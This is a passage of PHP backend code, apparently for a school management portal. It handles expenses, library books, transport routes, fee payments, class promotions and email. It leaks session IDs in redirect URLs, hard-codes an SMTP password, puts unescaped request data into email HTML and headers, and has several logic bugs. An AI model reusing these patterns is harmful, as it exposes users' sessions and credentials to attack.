		'month_id' => $_REQUEST['mnth'],

		'session_id' => $_SESSION['current_session'],

		'branch_id' => $_SESSION['branch'],

		'expense_amount' => $_REQUEST['eamount']);

	

//print_r($data);

	$result =  $m->insert('eduportal_expense_detail', $data); 



	// now adding user audit detail



	  				$m->where("category_id", $_REQUEST['category']);

					$sec = $m->get("eduportal_expanse_category");



					$m->where("subcategory_id", $_REQUEST['subcatgory']);

					$rec = $m->get("eduportal_expanse_subcategory");



					$subcatgory=$rec[0]['subcategory_name'];

					$Category=$sec[0]['category_name'];

					$username=$_SESSION['username'];


					$action="Add Expense";
	  				$details="User: ".$username." ,Action: Add Expense ,Category=".$Category.",Sub Category=".$subcatgory." Expense Amount=".$_REQUEST['eamount'];



	  				date_default_timezone_set("Asia/Karachi");



					$data = array(

					'user_id' => $_SESSION['user_id'],

					'action' => $action,

					'details' => $details,

					'module_id' => 19,

					'date' => date("Y-m-d"),

					'month_id' => date('m'),

					'time' => date("h:i:sa"),

					'branch_id' => $_SESSION['branch'],

					);



				//	print_r($data);



					$result = $m->insert('eduportal_users_auditlog_detail',$data);



	$_SESSION['addsuccessexp']=1;



	$from=date("Y-m-d",strtotime($_REQUEST['edate']));

	$to=date("Y-m-d",strtotime($_REQUEST['edate']));



	header("location:../add_expenses.php?".session_id().session_id().session_id().session_id().session_id()."&from=".$from."&to=".$to);

}




	 

if($_REQUEST['action']=="add_user_alert")

//print_r($_REQUEST);

{



	$data = array(

		
		'branch_id' => $_SESSION['branch'],

		'module' => $_REQUEST['sms_module'],

		'user_id' => $_REQUEST['user_id'],

		'type' => $_REQUEST['type']
		
		//'time' => $_REQUEST['time']		

		);

	

//print_r($data);

	$result =  $m->insert('eduportal_sms_alert', $data); 



	


	$_SESSION['addsuccessexp']=1;


	header("location:../alerts.php?".session_id().session_id().session_id().session_id().session_id()."&from=".$from."&to=".$to);

}

						// close add expenses



		 

if($_REQUEST['action']=="add_vehicles")

//print_r($_REQUEST);

{


	$data = array(

		
		'branch_id' => $_SESSION['branch'],

		'vehicle_number' => $_REQUEST['vehicle_number'],

		'vehicle_model' => $_REQUEST['vehicle_model'],

		'year_made' => $_REQUEST['year_made'],

		'driver_name' => $_REQUEST['driver_name'],

		'driver_license' => $_REQUEST['driver_license'],

		'driver_contact' => $_REQUEST['driver_contact'],		

		'vehicle_note' => $_REQUEST['vehicle_note']);	

//print_r($data);

	$result =  $m->insert('eduportal_vehicles_detail', $data); 



	$_SESSION['addsuccessexp']=1;


	$from=date("Y-m-d",strtotime($_REQUEST['edate']));

	$to=date("Y-m-d",strtotime($_REQUEST['edate']));



	header("location:../vehicles.php?".session_id().session_id().session_id().session_id().session_id()."&from=".$from."&to=".$to);

}




	 

if($_REQUEST['action']=="student_book_history")

//print_r($_REQUEST);

{


	$data = array(

		
		'branch_id' => $_SESSION['branch'],

		'session_id' => $_SESSION['current_session'],

		'student_id' => $_REQUEST['student_id'],

		'issue_book' => $_REQUEST['book_id'],

		'class_id' => $_REQUEST['class_id'],

		'section_id' => $_REQUEST['section_id'],

		'roll_no' => $_REQUEST['roll_no'],	

		'adm_no' => $_REQUEST['adm_no'],

		'book_issue_date' => $_REQUEST['book_issue_date'],

		'return_book_due_date' => $_REQUEST['book_return_duedate'],

		'issue_remarks' => $_REQUEST['issue_remarks'],

		'book_return_date' => $_REQUEST['book_return_date'],	

		'return_remarks' => $_REQUEST['return_remarks']);	

//print_r($data);

	$result =  $m->insert('eduportal_library_student_book_history', $data); 



	$_SESSION['addsuccessexp']=1;


	$from=date("Y-m-d",strtotime($_REQUEST['edate']));

	$to=date("Y-m-d",strtotime($_REQUEST['edate']));



	header("location:../issue_return.php?".session_id().session_id().session_id().session_id().session_id()."&student=".$_REQUEST['student_id']);

}





if($_REQUEST['action']=='student_book_return')

{
				

		$data = array(

				'book_return_date' => $_REQUEST['book_return_date'],

				'return_remarks' => $_REQUEST['return_remarks'],
							
				'status' => 1
				

			);



	$m->where ("student_id", $_REQUEST['student_id']);

	$m->where ("issue_book", $_REQUEST['return_book_id']);

	$m->where ("branch_id", $_SESSION['branch']);

	$result =  $m->update ('eduportal_library_student_book_history', $data);	


	

	$_SESSION['upsuccessexp']=1;
	
	header("location:../issue_return.php?".session_id().session_id().session_id().session_id().session_id()."&student=".$_REQUEST['student_id']);

}
		 

if($_REQUEST['action']=="add_book")

//print_r($_REQUEST);

{


	$data = array(

		
		'branch_id' => $_SESSION['branch'],

		'book_title' => $_REQUEST['book_title'],

		'book_number' => $_REQUEST['book_number'],

		'ISBN_number' => $_REQUEST['ISBN_number'],

		'publisher' => $_REQUEST['publisher'],

		'author' => $_REQUEST['author'],

		'subject' => $_REQUEST['subject'],	

		'rack_number' => $_REQUEST['rack_number'],

		'qty' => $_REQUEST['qty'],

		'book_price' => $_REQUEST['book_price'],

		'post_date' => $_REQUEST['post_date'],

		'description' => $_REQUEST['description']);	

//print_r($data);

	$result =  $m->insert('eduportal_library_details', $data); 



	$_SESSION['addsuccessexp']=1;



	header("location:../list_books.php?".session_id().session_id().session_id().session_id().session_id());

}

		 

if($_REQUEST['action']=="add_route")

//print_r($_REQUEST);

{


	$data = array(

		
		'branch_id' => $_SESSION['branch'],

		'route_title' => $_REQUEST['route_title'],				

		'route_fare' => $_REQUEST['route_fare']);	

//print_r($data);

	$result =  $m->insert('eduportal_route_details', $data); 	



	$_SESSION['addsuccessexp']=1;

	header("location:../route.php?".session_id().session_id().session_id().session_id().session_id());

}


if($_REQUEST['action']=="assign_vehicle_route")

//print_r($_REQUEST);

{


	$data = array(

		
		'branch_id' => $_SESSION['branch'],

		'route_id' => $_REQUEST['route_id'],				

		'vehicle_id' => $_REQUEST['vehicle_id']);	

//print_r($data);

	$result =  $m->insert('eduportal_assign_vehicle_route', $data); 	



	$_SESSION['addsuccessexp']=1;

	header("location:../vehicle_route.php?".session_id().session_id().session_id().session_id().session_id());

}


	// add LIveClass

		 

if($_REQUEST['action']=="add_LiveClass")

//print_r($_REQUEST);
{

	$data = array(		

		'class_title' => $_REQUEST['class_title'],

		'class_date' => $_REQUEST['class_date'],

		'class_time' => $_REQUEST['class_time'],

		'class_id' => $_REQUEST['class_id'],

		'meeting_id' => $_REQUEST['meeting_id'],

		'youtube_link' => $_REQUEST['youtube_link'],

		'session_id' => $_SESSION['current_session'],

		'branch_id' => $_SESSION['branch'],

		'description' => $_REQUEST['description']);	

//print_r($data);

	$result =  $m->insert('eduportal_add_live_classes', $data); 

$id= $m->getInsertId();

		foreach($_REQUEST['section'] as $section){	

	$data = array(

		'liveClass_id' => $id,

		'section_id' => $section,

		'branch_id' => $_SESSION['branch']		

		);

//print_r($data);

		$result =  $m->insert ('eduportal_add_live_classes_section', $data);	

	}


	$_SESSION['addsuccessexp2']=1;


	/*$from=date("Y-m-d",strtotime($_REQUEST['edate']));

	$to=date("Y-m-d",strtotime($_REQUEST['edate']));*/


	header("location:../add_LiveClass.php?".session_id().session_id().session_id().session_id().session_id());

}



						// close add liveclass


							//Update expenses 

if($_REQUEST['action']=='update_expenses')

{

		$m->where("expense_id", $_REQUEST['expense_id']);

		$OldExpense = $m->get("eduportal_expense_detail");


		$ctgry=$_REQUEST['category'];

		$sbctgry=$_REQUEST['subcatgory'];

		$dtil=$_REQUEST['detail'];

		$ed=$_REQUEST['edate'];

		$mth=$_REQUEST['mnth'];

		$ea=$_REQUEST['eamount'];

		

		$data = array(

				'category_id' => ($ctgry),

				'subcategory_id' => ($sbctgry),

				'expense_details' => ($dtil),

				'expense_date' => ($ed),

				'month_id' => ($mth),

				'session_id' => $_SESSION['current_session'],

				'branch_id' => $_SESSION['branch'],

				'expense_amount' => ($ea)

				

			);





	$m->where ("expense_id", $_REQUEST['expense_id']);



	$result =  $m->update ('eduportal_expense_detail', $data);	





	// now adding user audit detail

			$oldData= $OldExpense[0]['expense_amount'];

			$newData=$_REQUEST['eamount'];



	  				$m->where("category_id", $_REQUEST['category']);

					$sec = $m->get("eduportal_expanse_category");



					$m->where("subcategory_id", $_REQUEST['subcatgory']);

					$rec = $m->get("eduportal_expanse_subcategory");



					$subcatgory=$rec[0]['subcategory_name'];

					$Category=$sec[0]['category_name'];

					$username=$_SESSION['username'];


					$action="Update Expense";
					
	  				$details="User: ".$username.", Update Expense, <br> Before Update: <br> ".$oldData." After Update: <br>".$newData ;



	  				date_default_timezone_set("Asia/Karachi");



					$data = array(

					'user_id' => $_SESSION['user_id'],

					'action' => $action,

					'details' => $details,

					'module_id' => 19,

					'date' => date("Y-m-d"),

					'month_id' => date('m'),

					'time' => date("h:i:sa"),

					'branch_id' => $_SESSION['branch'],

					);



				//	print_r($data);



					$result = $m->insert('eduportal_users_auditlog_detail',$data);



	$_SESSION['upsuccessexp']=1;

	$from=date("Y-m-d",strtotime($_REQUEST['edate']));

	$to=date("Y-m-d",strtotime($_REQUEST['edate']));



	header("location:../add_expenses.php?".session_id().session_id().session_id().session_id().session_id()."&from=".$from."&to=".$to);

}								// close update expenses




if($_REQUEST['action']=='update_vehicles')

{
				

		$data = array(

				'vehicle_number' => $_REQUEST['vehicle_number'],

				'vehicle_model' => $_REQUEST['vehicle_model'],

				'year_made' => $_REQUEST['year_made'],

				'driver_name' => $_REQUEST['driver_name'],

				'driver_license' => $_REQUEST['driver_license'],

				'driver_contact' => $_REQUEST['driver_contact'],
			
				'vehicle_note' => $_REQUEST['vehicle_note']
				

			);



	$m->where ("vehicle_id", $_REQUEST['vehicle_id']);

	$m->where ("branch_id", $_SESSION['branch']);

	$result =  $m->update ('eduportal_vehicles_detail', $data);	


	

	$_SESSION['upsuccessexp']=1;
	
	header("location:../vehicles.php?".session_id().session_id().session_id().session_id().session_id());

}


if($_REQUEST['action']=='update_alert')

{
				

		$data = array(

				'module' => $_REQUEST['sms_module'],

				'user_id' => $_REQUEST['user_id'],

				'type' => $_REQUEST['type']

				//'time' => $_REQUEST['time']				

			);



	$m->where ("alert_id", $_REQUEST['alert_id']);

	$m->where ("branch_id", $_SESSION['branch']);

	$result =  $m->update ('eduportal_sms_alert', $data);	


	

	$_SESSION['upsuccessexp']=1;
	
	header("location:../alerts.php?".session_id().session_id().session_id().session_id().session_id());

}


if($_REQUEST['action']=='update_book')

{
				

		$data = array(

				'book_title' => $_REQUEST['book_title'],

				'book_number' => $_REQUEST['book_number'],

				'ISBN_number' => $_REQUEST['ISBN_number'],

				'publisher' => $_REQUEST['publisher'],

				'author' => $_REQUEST['author'],

				'subject' => $_REQUEST['subject'],

				'rack_number' => $_REQUEST['rack_number'],

				'qty' => $_REQUEST['qty'],

				'book_price' => $_REQUEST['book_price'],

				'post_date' => $_REQUEST['post_date'],
			
				'description' => $_REQUEST['description']
				

			);



	$m->where ("library_id", $_REQUEST['library_id']);

	$m->where ("branch_id", $_SESSION['branch']);

	$result =  $m->update ('eduportal_library_details', $data);	


	

	$_SESSION['upsuccessexp']=1;
	
	header("location:../list_books.php?".session_id().session_id().session_id().session_id().session_id());

}


if($_REQUEST['action']=='update_route')

{
				

		$data = array(

				'route_title' => $_REQUEST['route_title'],				
			
				'route_fare' => $_REQUEST['route_fare']				

			);



	$m->where ("route_id", $_REQUEST['route_id']);

	$m->where ("branch_id", $_SESSION['branch']);

	$result =  $m->update ('eduportal_route_details', $data);

	

	$_SESSION['upsuccessexp']=1;
	
	header("location:../route.php?".session_id().session_id().session_id().session_id().session_id());

}



/*if($_REQUEST['action']=='Add_Emp_Advance_Salary')

{
				
		$data = array(		
			
				'advance_salary' => $_REQUEST['advance_salary']				

			);


	$m->where ("user_id", $_REQUEST['user_id']);

	$m->where ("session_id", $_REQUEST['session']);

	$m->where ("month_id", $_REQUEST['mnth']);

	$m->where ("branch_id", $_SESSION['branch']);

	$result =  $m->update ('employee_payroll', $data);

	

	$_SESSION['upsuccessexp']=1;
	
	header("location:../emp_advance_salary.php?".session_id().session_id().session_id().session_id().session_id()."&emp=".$_REQUEST['user_id']."");

}*/



if($_REQUEST['action']=='Add_Emp_Advance_Salary')

{
				
		$data = array(

			'user_id' => $_REQUEST['user_id'],
			'branch_id' => $_SESSION['branch'],
			'session_id' => $_REQUEST['session'],
			'salary_date' => $_REQUEST['advance_salry_date'],
			'user_security' => $_REQUEST['user_security'],
			'remarks' => $_REQUEST['remarks'],
			'user_advance_salary' => $_REQUEST['advance_salary']
		    );

	    $m->insert ('eduportal_user_advance_salary', $data);


	    // update user advance salary effect in payroll table


	    $data = array(		
			
				'paid_again_amount' => $_REQUEST['advance_salary'],	

				'paid_again_date' => $_REQUEST['advance_salry_date']			

			);


				$m->where ("user_id", $_REQUEST['user_id']);

				$m->where ("session_id", $_REQUEST['session']);

				$m->where ("month_id", $_REQUEST['mnth']);

				$m->where ("branch_id", $_SESSION['branch']);

				$result =  $m->update ('employee_payroll', $data);


	    // update user Advance Salary

		$m->where("user_id", $_REQUEST['user_id']);
		$m->where("branch_id", $_SESSION['branch']);
		$userAdvanceSalary=$m->get("edu_user_config");

		$TotaluserAdvance=$userAdvanceSalary[0]['advance_salary']+$_REQUEST['advance_salary'];
		
	$data1 = array(

		
		'advance_salary' => $TotaluserAdvance);

	 

	 	//print_r($data);

	 $m->where("user_id", $_REQUEST['user_id']);

     $m->where("branch_id", $_SESSION['branch']);

	 $result =  $m->update ('edu_user_config', $data1);	

	

	$_SESSION['upsuccessexp']=1;
	
	header("location:../emp_advance_salary.php?".session_id().session_id().session_id().session_id().session_id()."&emp=".$_REQUEST['user_id']."");

}

if($_REQUEST['action']=='update_vehicle_route')

{
				

		$data = array(

				'route_id' => $_REQUEST['route_id'],				
			
				'vehicle_id' => $_REQUEST['route_id']				

			);



	$m->where ("vehrote_id", $_REQUEST['vehrote_id']);

	$m->where ("branch_id", $_SESSION['branch']);

	$result =  $m->update ('eduportal_assign_vehicle_route', $data);

	

	$_SESSION['upsuccessexp']=1;
	
	header("location:../vehicle_route.php?".session_id().session_id().session_id().session_id().session_id());

}
							   // Delete Expense code



if(($_REQUEST['action']=='DeleteExpense'))

{

//print_r($_REQUEST);

	if($_REQUEST['subject']!='')

	{

		

	    $m->where("expense_id", $_REQUEST['subject']);

	    $m->where("branch_id", $_SESSION['branch']);

     	$result = $m-> delete('eduportal_expense_detail');



     	// now adding user audit detail



	  		

					$username=$_SESSION['username'];



	  				$action="User: ".$username." ,Action: Delete Expense" ;



	  				date_default_timezone_set("Asia/Karachi");



					$data = array(

					'user_id' => $_SESSION['user_id'],

					'action' => $action,

					'date' => date("Y-m-d"),

					'month_id' => date('m'),

					'time' => date("h:i:sa"),

					'branch_id' => $_SESSION['branch'],

					);



				//	print_r($data);



					$result = $m->insert('eduportal_users_auditlog_detail',$data);

		if (isset($_REQUEST['expense_report'])) {
			
			$_SESSION['deleteexp']=1;

		header("location:../monthly_expenses_report.php?".session_id().session_id().session_id().session_id().session_id()."&session=".$_REQUEST['session']."&month=".$_REQUEST['month']."");
		
		} else {

		$_SESSION['deleteexp']=1;

		header("location:../add_expenses.php?".session_id().session_id().session_id().session_id().session_id()."");

		}

	}



	else

	{

		header("location:../add_expenses.php?".session_id().session_id().session_id().session_id().session_id()."&errorfield=1");

	}





}			// end delete Expense code






if(($_REQUEST['action']=='DeleteVehicle'))

{

//print_r($_REQUEST);

	if($_REQUEST['vehicle_id']!='')

	{

		

	    $m->where("vehicle_id", $_REQUEST['vehicle_id']);

	    $m->where("branch_id", $_SESSION['branch']);

     	$result = $m-> delete('eduportal_vehicles_detail');



     

		$_SESSION['deleteexp']=1;

		header("location:../vehicles.php?".session_id().session_id().session_id().session_id().session_id()."");

		

	}



}





if(($_REQUEST['action']=='DeleteAlert'))

{

//print_r($_REQUEST);

	if($_REQUEST['alert']!='')

	{

		

	    $m->where("alert_id", $_REQUEST['alert']);

	    $m->where("branch_id", $_SESSION['branch']);

     	$result = $m-> delete('eduportal_sms_alert');

     

		$_SESSION['deleteexp']=1;

		header("location:../alerts.php?".session_id().session_id().session_id().session_id().session_id()."");

		

	}



}


if(($_REQUEST['action']=='Deletelibrary'))

{

//print_r($_REQUEST);

	if($_REQUEST['library_id']!='')

	{

		

	    $m->where("library_id", $_REQUEST['library_id']);

	    $m->where("branch_id", $_SESSION['branch']);

     	$result = $m-> delete('eduportal_library_details');



     

		$_SESSION['deleteexp']=1;

		header("location:../list_books.php?".session_id().session_id().session_id().session_id().session_id()."");

		

	}



}



if(($_REQUEST['action']=='DeleteRoute'))

{

//print_r($_REQUEST);

	if($_REQUEST['route_id']!='')

	{

		

	    $m->where("route_id", $_REQUEST['route_id']);

	    $m->where("branch_id", $_SESSION['branch']);

     	$result = $m-> delete('eduportal_route_details');



     

		$_SESSION['deleteexp']=1;

		header("location:../route.php?".session_id().session_id().session_id().session_id().session_id()."");

		

	}



}


if(($_REQUEST['action']=='DeleteVehicleRoute'))

{

//print_r($_REQUEST);

	if($_REQUEST['vehicle_routeID']!='')

	{

		

	    $m->where("vehrote_id", $_REQUEST['vehicle_routeID']);

	    $m->where("branch_id", $_SESSION['branch']);

     	$result = $m-> delete('eduportal_assign_vehicle_route');



     

		$_SESSION['deleteexp']=1;

		header("location:../vehicle_route.php?".session_id().session_id().session_id().session_id().session_id()."");

		

	}



}

							   // Delete Expense code



if(($_REQUEST['action']=='DeleteLiveClass'))

{

	if($_REQUEST['liveCls']!='')

	{		

	    $m->where("liveClass_id", $_REQUEST['liveCls']);

	    $m->where("branch_id", $_SESSION['branch']);

     	$result = $m-> delete('eduportal_add_live_classes');


     	$m->where("liveClass_id", $_REQUEST['liveCls']);

	    $m->where("branch_id", $_SESSION['branch']);

     	$result = $m-> delete('eduportal_add_live_classes_section');

     	
		$_SESSION['deleteexp']=1;

		header("location:../add_LiveClass.php?".session_id().session_id().session_id().session_id().session_id()."");

	}



	else

	{

		header("location:../add_LiveClass.php?".session_id().session_id().session_id().session_id().session_id()."&errorfield=1");

	}


}			// end delete Expense code



/*
if(($_REQUEST['action']=='PayFullFamilyFee'))

{

//print_r($_REQUEST);

	for($i=0;$i<count($_REQUEST['stdID']);$i++){

		if ($_REQUEST['FeeStatus'][$i]==0) {
			
	$paid_date=date("Y-m-d");

	$collected_amount=intVal($_REQUEST['totalAmount'][$i]-$_REQUEST['collectedFine'][$i]);
	$totalAmount=$_REQUEST['totalAmount'][$i];
	$number=$_REQUEST['std_no'];
	$fathName=$_REQUEST['father_name'];
	$totalfamilyAmount+=$totalAmount;

  
		$data = array(
		'collected_amount' => $collected_amount,
		'collected_fine' => $_REQUEST['collectedFine'][$i],
		'paid_status' => 1,
		'paid_fee_user_id' => $_SESSION['user_id'],
		'paying_time' => date("h:i:s a"),
		'paying_date'=>date('d-m-Y',strtotime($paid_date))
		);

		//echo "<pre>"; print_r($data); echo "</pre>"."<br>";

		$m->where ("challan_id", $_REQUEST['challanID'][$i]);
		$m->where ("student_id", $_REQUEST['stdID'][$i]);
		$m->where ("branch_id", $_SESSION['branch']);
		$result = $m->update('eduportal_monthly_challan',$data);
	} 


}

// now sending fee confirmation msg to parents if the sms status is YES

		if($_REQUEST['fee_recv_sms']=="1" || $_REQUEST['fee_recv_sms']==1){

	    

		$message ="Dear ".$fathName.", You have submitted the fee for the month of (".$_REQUEST['month_name'].")  

		Total:".$totalfamilyAmount." 

		Paid:".$totalfamilyAmount."

		Date:".date("d-M-Y")." 

		From:".$_SESSION['branch_name'];



			//echo "<br>".$message;



		   sendSMSFuction($number,$message,$_SESSION['brand']);



		    $data = array('msg_sender' => $_SESSION['brand'],'msg_from' => $number,'msg_details' => $message,'msg_status' => "Sent",'branch_id' => $_SESSION['branch'],'fee_msg' => 1);

		    $result =  $m->insert ('edu_messages_details', $data);

		 	

		}



	

		header("location:../pay_fee.php?".session_id().session_id().session_id().session_id().session_id()."&student=".$_REQUEST['std_id']);


}
*/




if(($_REQUEST['action']=='PayFullFamilyFee'))

{

//print_r($_REQUEST);

	for($i=0;$i<count($_REQUEST['stdID']);$i++){

		if ($_REQUEST['FeeStatus'][$i]==0) {
			
	$paid_date=date("Y-m-d");

	$totalfamily=intVal($_REQUEST['totalAmount'][$i]-$_REQUEST['feedis'][$i]);
	$collected_amount=intVal($_REQUEST['feerec'][$i]-$_REQUEST['collectedFine'][$i]);
	$discount_amount=intVal($_REQUEST['feedis'][$i]);
	$totalAmount=$_REQUEST['feerec'][$i];
	$totalRemaning=intVal($_REQUEST['totalAmount'][$i]-$_REQUEST['feerec'][$i]);
	$number=$_REQUEST['std_no'];
	$fathName=$_REQUEST['father_name'];
	$totalfamilyAmountRec+=$totalAmount;
	$totalfamilyAmount+=$totalfamily;

	$RemainingAmount=$totalfamilyAmount-$totalfamilyAmountRec;

  
		$data = array(
		'collected_amount' => $collected_amount,
		'disc_amount' => $discount_amount,
		'collected_fine' => $_REQUEST['collectedFine'][$i],
		'remaining_amount' => $totalRemaning,
		'paid_status' => 1,
		'paid_fee_user_id' => $_SESSION['user_id'],
		'paid_by' => $_REQUEST['PiadBy'],
		'paying_time' => date("h:i:s a"),
		'paying_date'=>date('Y-m-d',strtotime($paid_date))
		);

		//echo "<pre>"; print_r($data); echo "</pre>"."<br>";

		$m->where ("challan_id", $_REQUEST['challanID'][$i]);
		$m->where ("student_id", $_REQUEST['stdID'][$i]);
		$m->where ("branch_id", $_SESSION['branch']);
		$result = $m->update('eduportal_monthly_challan',$data);
	} 


}

// now sending fee confirmation msg to parents if the sms status is YES

		if($_REQUEST['fee_recv_sms']=="1" || $_REQUEST['fee_recv_sms']==1){

	    

		$message ="Dear ".$fathName.", You have submitted the fee for the month of (".$_REQUEST['month_name'].")  

		Total:".$totalfamilyAmount." 

		Paid:".$totalfamilyAmountRec."

		Remaining:".$RemainingAmount."

		Date:".date("d-M-Y")." 

		From:".$_SESSION['branch_name'];



			//echo "<br>".$message;



		   sendSMSFuction($number,$message,$_SESSION['brand']);



		    $data = array('msg_sender' => $_SESSION['brand'],'msg_from' => $number,'msg_details' => $message,'msg_status' => "Sent",'branch_id' => $_SESSION['branch'],'fee_msg' => 1);

		    $result =  $m->insert ('edu_messages_details', $data);

		 	

		}


		 // now adding user audit detail


					$username=$_SESSION['username'];


					$action="Pay Full Family Fee";
	  				$details=$username." submitted the fee for the month of (".$_REQUEST['month_name'].")  

		Total:".$totalfamilyAmount." 

		Paid:".$totalfamilyAmountRec."

		Remaining:".$RemainingAmount."

		Date:".date("d-M-Y");


	  				date_default_timezone_set("Asia/Karachi");



					$data = array(

					'user_id' => $_SESSION['user_id'],

					'module_id' => 14,

					'action' => $action,

					'details' => $details,

					'date' => date("Y-m-d"),

					'month_id' => date('m'),

					'time' => date("h:i:sa"),

					'branch_id' => $_SESSION['branch'],

					);



					//print_r($data);



					$result = $m->insert('eduportal_users_auditlog_detail',$data);


		if ($_REQUEST['familiesFeePage']=="familiesFeePage") {
			
			$_SESSION['submitfamilyFee']=1;

			header("location:../families_fee.php?".session_id().session_id().session_id().session_id().session_id()."&code=".$_REQUEST['code']."&CodeCell=".$_REQUEST['CodeCell']."&TfeeRec=".$totalfamilyAmountRec);
		} else {
	

		header("location:../pay_fee.php?".session_id().session_id().session_id().session_id().session_id()."&student=".$_REQUEST['std_id']);
		}


}



if(($_POST['action']=='PromoteClass'))

{

//	print_r($_POST);

		if(isset($_POST["students"])){ 

			

			foreach($_POST["students"] as $std){



		    	//getting student roll no and change

		    	$m->where ("student_id", $std);

				$std_roll = $m->get('edu_student_details');


				//print_r($std_roll);

				$roll_array=explode("-",$std_roll[0]['candidate_roll_no']);

				$updated_roll=$roll_array[1]."-".$roll_array[2];

				//$updated_roll="18-".$roll_array[0];
			

				

				$data = array(

				'class_id' => $_REQUEST['class_id1'],

				'section_id' => $_REQUEST['section1'],

				'session_id' => $_REQUEST['session1'],

				);



				$m->where ("student_id", $std);

				$m->where ("branch_id", $_SESSION['branch']);

				$result = $m->update('edu_student_details',$data);




	if($_REQUEST['apply_fee']=="Yes"){


				//echo " Apply Fee YES ";


// track of the activity

	$data = array(

				'from_session' => utf8_decode_all($_REQUEST['session']),

				'from_class' => utf8_decode_all($_REQUEST['class_id']),

				'from_section' => utf8_decode_all($_REQUEST['section']),

				'action_date' => utf8_decode_all(date("d-m-Y")),

				'branch_id' => utf8_decode_all($_SESSION['branch']),

				'student_id' => utf8_decode_all($std),

				'remarks' => utf8_decode_all($_REQUEST['remarks']),

				'to_session' => utf8_decode_all($_REQUEST['session1']),

				'to_class' => utf8_decode_all($_REQUEST['class_id1']),

				'to_section' => utf8_decode_all($_REQUEST['section1'])

			);

			$m->insert('eduportal_students_promotion_track',$data);

				//print_r($data);


			     // now getting default class fee 


			  $m->where("class_id", $_REQUEST['class_id1']);

			  $m->where("branch_id", $_SESSION['branch']);

			  $details = $m->get("eduportal_class_fee_details");


		  // save fee structure


			$data_fee = array(

				'class_id' => utf8_decode_all($_REQUEST['class_id1']),

				'std_tution_fee' => utf8_decode_all($details[0]['tution_fee']),

				'branch_id' => utf8_decode_all($_SESSION['branch']),

				'session_id' => utf8_decode_all($_REQUEST['session1']),

				'student_id' => utf8_decode_all($std));

			//print_r($data_fee);


				$m->insert('eduportal_student_fee_structure',$data_fee);



	} // ending if of fee apply YES




	else { // if fee apply NO


		//echo " Apply Fee NO <br> ";


		$m->where("student_id", $std);
		$m->where("class_id", $_REQUEST['class_id']);
		$m->where("session_id",$_REQUEST['session']);
		$m->where("branch_id",$_SESSION['branch']);
		$std_fee_record = $m->get("eduportal_student_fee_structure");

	
		/*echo " Student Fee structure <br> ";

		print_r($std_fee_record); */

  			
	  // save fee structure


	$data_fee = array(

		'class_id' => utf8_decode_all($_REQUEST['class_id1']),
		'discount' => utf8_decode_all($std_fee_record[0]['discount']),
		'branch_id' => utf8_decode_all($_SESSION['branch']),
		'std_tution_fee' => utf8_decode_all($std_fee_record[0]['std_tution_fee']),
		'std_transport_fee' => utf8_decode_all($std_fee_record[0]['std_transport_fee']),
		'std_outstanding_blc' => utf8_decode_all($std_fee_record[0]['std_outstanding_blc']),
		'session_id' => utf8_decode_all($_REQUEST['session1']),
		'student_id' => utf8_decode_all($std),
		'std_misc_fee' => utf8_decode_all($std_fee_record[0]['std_misc_fee']),
		'discount_reason' => utf8_decode_all($std_fee_record[0]['discount_reason'])
		);

	/*echo " Old Fee structure <br> ";

	print_r($data_fee);*/


		// check if fee is saved already then only update otherwise insert it as new 


		$m->where("student_id", $std);
		$m->where("class_id", $_REQUEST['class_id1']);
		$m->where("session_id",$_REQUEST['session1']);
		$m->where("branch_id",$_SESSION['branch']);
		$std_fee = $m->get("eduportal_student_fee_structure");


		if(count($std_fee)>0){			

			//echo $std."=  Fee data mil gya ab just update krna <br> ";

			$m->where("student_id", $std);

			$m->where("class_id", $_REQUEST['class_id1']);

			$m->where("session_id",$_REQUEST['session1']);

			$m->where("branch_id",$_SESSION['branch']);

			$m->update('eduportal_student_fee_structure',$data_fee);

		}else{			

			//echo $std."=  Selected new class Fee data nahi mila insert now <br> ";

			$m->insert('eduportal_student_fee_structure',$data_fee);

		}





	} // ending if apply is no 




				//echo "<pre>"; print_r($data); echo "</pre>"."<br>";

				unset($roll_array);

			}  // ending loop 





			// now adding user audit detail



  				$m->where("section_id", $_REQUEST['section1']);

				$sec = $m->get("edu_adm_section_detail");

				$m->where("class_id", $_REQUEST['class_id1']);

				$rec = $m->get("edu_class_config");

				$Class_Name=$rec[0]['Class_Name'];

				$section_name=$sec[0]['section_name'];

				$username=$_SESSION['username'];


  				$action="User: ".$username." ,Action: Class Promotion , Class=".$Class_Name.", Section=".$section_name ;

  				date_default_timezone_set("Asia/Karachi");

				$data = array(

				'user_id' => $_SESSION['user_id'],

				'action' => $action,

				'date' => date("Y-m-d"),

				'month_id' => date('m'),

				'time' => date("h:i:sa"),

				'branch_id' => $_SESSION['branch'],

				);

				//print_r($data);

				$result = $m->insert('eduportal_users_auditlog_detail',$data);


			$_SESSION['promoted']=1;

			header("location:../class_promotion.php?".session_id().session_id().session_id().session_id().session_id()."&class_id=".$_REQUEST['class_id']."&section=".$_REQUEST['section']."&session=".$_REQUEST['session']."&class_id1=".$_REQUEST['class_id1']."&section1=".$_REQUEST['section1']."&session1=".$_REQUEST['session1']);

			}

	

}  // main 









if(($_POST['action']=='SendEmail'))

{

//print_r($_POST);



$emails=explode(",",$_POST['email']);

//print_r($emails);

require 'phpmailer/PHPMailerAutoload.php';

	$mail = new PHPMailer;

	//$mail->isSMTP();

	$mail->Host='smtp.gmail.com';

	$mail->Port=587;

	$mail->SMTPAuth=true;

	$mail->SMTPSecure='tls';



	$mail->Username=$_POST['owner_email'];

	$mail->Password='123456';



	$mail->setFrom('info@realcomputech.com',$_POST['from']);

	foreach ($emails as $contacts) {

    $mail->addAddress($contacts);

    }

	$mail->addReplyTo($_POST['owner_email']);

	$mail->isHTML(true);

	$mail->Subject=$_POST['subject'];

	$mail->Body='<b style="margin:0px 5px 0px 40px;font-size:12px;">'.$_POST['text_fld'].'</b><br>

<p style="margin:0px 0px 0px 40px;font-size:12px;">Sincerely, </p><br>

<p style="margin:0px 0px 0px 40px;font-size:12px;">'.$_POST['branch_name'].' </p>

<p style="margin:0px 0px 0px 40px;font-size:12px;">Phone No: '.$_POST['owner_no'].' </p>';

	//print_r($mail);

	if(!$mail->send()){

		$_SESSION['notsentemail']=1;

	}

	else {

		$_SESSION['sentemail']=1;

	}







		//$_SESSION['sendemail']=1;	

		header("location:../new_email.php?".session_id().session_id().session_id().session_id().session_id()."&session=".$_REQUEST['session']."&month=".$_REQUEST['month']);



	

}  // main











if(($_REQUEST['action']=='EditPaidChallan'))

{


//echo $_REQUEST['student'];

				$m->where ("student_id", $_REQUEST['student']);

				$m->where ("month_id", $_REQUEST['month_id']);

				$m->where ("challan_id", $_REQUEST['challan_id']);						

